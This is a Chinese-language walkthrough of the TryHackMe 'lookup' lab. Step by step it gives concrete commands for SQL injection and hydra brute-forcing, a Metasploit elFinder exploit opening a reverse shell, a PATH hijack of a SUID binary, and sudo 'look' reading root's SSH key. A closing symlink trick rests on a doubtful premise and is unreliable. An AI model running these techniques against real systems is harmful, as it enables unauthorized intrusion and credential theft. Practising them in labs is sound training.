lookup
TryhackMe
字数 2705 2025-10-14 00:33:59
TryHackMe "lookup" 挑战机全方位攻克教学指南
一、 目标识别与信息收集
- 目标锁定:
- 目标机器IP地址为
10.201.45.109。 - 需要将域名
lookup.thm和file.lookup.thm在攻击机的/etc/hosts文件中解析到该IP地址。 - 操作命令:
# 编辑hosts文件 sudo vim /etc/hosts # 在文件末尾添加以下行 10.201.45.109 lookup.thm file.lookup.thm
- 目标机器IP地址为
二、 初始访问 - Web应用渗透
-
发现SQL注入漏洞:
- 目标网站
http://lookup.thm存在一个登录页面login.php。 - 使用
sqlmap工具对登录接口进行自动化SQL注入测试。 - 关键命令与发现:
sqlmap -u "http://lookup.thm/login.php" --data="username=test&password=test" --method=POST --level=5 --risk=3 --dbs - 重要发现:参数
username存在动态响应,提示可能存在注入点,但直接爆出数据库名(--dbs)可能未成功。作者转而采用更直接的方法:爆破用户名。
- 目标网站
-
爆破用户名与密码:
- 爆破用户名:通过工具(如
sqlmap的--users或Burp Suite的Intruder)发现两个有效用户名:jose和think。 - 爆破密码:使用
hydra对用户jose的密码进行爆破。 - 关键命令与发现:
hydra -l jose -P /usr/share/wordlists/xato-net-10-million-passwords-10000.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:F=Wrong password. Please try again." -t 64 - 成功获取到用户
jose的密码。
- 爆破用户名:通过工具(如
-
突破二级域名:
- 使用
jose的凭据登录主站后,页面提示需要访问file.lookup.thm。 - 由于之前已在
/etc/hosts中配置,直接访问http://file.lookup.thm。 - 再次使用
jose的密码登录,成功进入一个文件管理类应用界面。
- 使用
-
利用文件上传漏洞获取Shell:
- 该文件管理系统存在漏洞(文中提及
searchsploit elfinder,表明可能利用了elfinder组件的已知RCE漏洞)。 - 使用
msfconsole(Metasploit框架)快速利用该漏洞。 - 关键命令:
msfconsole search elfinder use [对应的exploit模块编号] set rhosts file.lookup.thm set lhost [你的VPN IP] run - 成功获取一个反向Shell,连接至攻击机。
- 该文件管理系统存在漏洞(文中提及
三、 权限提升 - 从 www-data 到 think
-
稳定Shell与环境侦察:
- 将简陋的Shell升级为完全交互式TTY。
- 关键命令:
python3 -c 'import pty; pty.spawn("/bin/bash")' # 或者使用其他方法,如:script /dev/null -c bash - 查看系统中有登录Shell的用户:
cat /etc/passwd | grep 'sh$',确认目标用户think存在。
-
发现SUID权限滥用漏洞:
- 查找具有SUID权限的可执行文件,这些文件可能被滥用以提升权限。
- 关键命令与发现:
find / -perm -u=s -type f 2>/dev/null - 发现一个不常见的二进制文件
pwm。运行此文件,观察其行为。
-
分析
pwm程序行为:- 执行
pwm后,观察到它执行了系统命令id,并根据id命令的输出结果(当前用户名),去操作对应用户家目录下的.passwords文件(例如/home/think/.passwords)。 - 漏洞原理:
pwm在执行id命令时,未使用绝对路径。这意味着系统会从$PATH环境变量指定的目录中寻找名为id的可执行文件。
- 执行
-
实施PATH路径劫持:
- 步骤一:查看当前PATH:
echo $PATH。 - 步骤二:将可写目录(如
/tmp)添加到PATH的最前面,确保系统优先在该目录下搜索命令。export PATH=/tmp:$PATH - 步骤三:在
/tmp目录下创建一个恶意的id脚本,该脚本输出我们想要的用户名(think)。echo -e '#!/bin/bash\necho "uid=33(think) gid=33(think) groups=33(think)"' > /tmp/id - 步骤四:赋予该脚本执行权限:
chmod +x /tmp/id。 - 步骤五:再次运行
pwm程序。此时,pwm会调用我们伪造的/tmp/id,并输出用户名think,进而程序会去读取或创建/home/think/.passwords文件。
- 步骤一:查看当前PATH:
-
获取用户think的密码:
- 执行上述劫持后,
pwm程序会在/home/think/目录下生成或操作一个名为.passwords的文件。这个文件的内容很可能就是用户think的密码(或一个密码列表)。 - 检查文件:
cat /home/think/.passwords,获得密码。
- 执行上述劫持后,
-
切换至用户think:
- 使用获得的密码通过SSH登录,或者直接使用
su切换用户。 - 关键命令:
su - think # 输入从.passwords文件获得的密码 - 成功获取第一个Flag(
user.txt)。
- 使用获得的密码通过SSH登录,或者直接使用
四、 权限提升 - 从 think 到 root
-
检查sudo权限:
- 查看用户
think被允许以root权限执行哪些命令。 - 关键命令与发现:
sudo -l - 重要发现:用户
think可以以root身份运行/usr/bin/look命令,且无密码限制。User think may run the following commands on ip-10-201-3-252: (ALL) /usr/bin/look
- 查看用户
-
利用
look命令读取任意文件:look命令通常用于在排序过的文件中查找以特定字符串开头的行。但其核心功能是读取文件。- 当查找的字符串为空(
'')时,look会读取整个文件并输出。 - 利用方法:使用
sudo运行look,读取root用户的SSH私钥。 - 关键命令:
sudo /usr/bin/look '' /root/.ssh/id_rsa - 将终端输出的私钥内容完整复制到攻击机的一个文件中(例如
root_rsa)。
-
通过SSH私钥登录root:
- 在攻击机上,修改私钥文件权限为600,然后使用它登录目标机。
- 关键命令:
# 在攻击机上操作 chmod 600 root_rsa ssh -i root_rsa root@lookup.thm - 成功获取root权限和第二个Flag。
五、 拓展技巧与总结
- 替代提权思路(软链接):在获得
www-dataShell后,可以创建一个指向/root/.ssh/id_rsa的软链接,并将其放在Web目录下(如/var/www/html/.passwords)。这样,当pwm程序将root的私钥内容写入这个“密码文件”时,我们实际上通过Web服务器就能直接下载到root的私钥。这是一个非常巧妙的思路。ln -s /root/.ssh/id_rsa /var/www/html/.passwords # 然后从攻击机访问 http://file.lookup.thm/.passwords 下载
核心知识点总结:
- 信息收集与配置:正确配置
/etc/hosts是访问虚拟主机的第一步。 - 自动化工具使用:熟练运用
sqlmap,hydra,metasploit进行漏洞发现与利用。 - 漏洞链利用:从Web漏洞获取初始立足点,再进行横向移动和权限提升。
- Linux权限提升:
- SUID滥用:理解SUID机制,并学会利用
$PATH环境变量劫持进行提权。 - Sudo权限滥用:掌握
sudo -l命令,并了解如何利用不常见的命令(如look)的读文件功能来突破权限限制。
- SUID滥用:理解SUID机制,并学会利用
- 思维灵活性:安全攻防需要创造性思维,如利用软链接间接获取关键文件。
这份文档涵盖了从外网渗透到内网提权的完整流程,希望对你的学习有所帮助。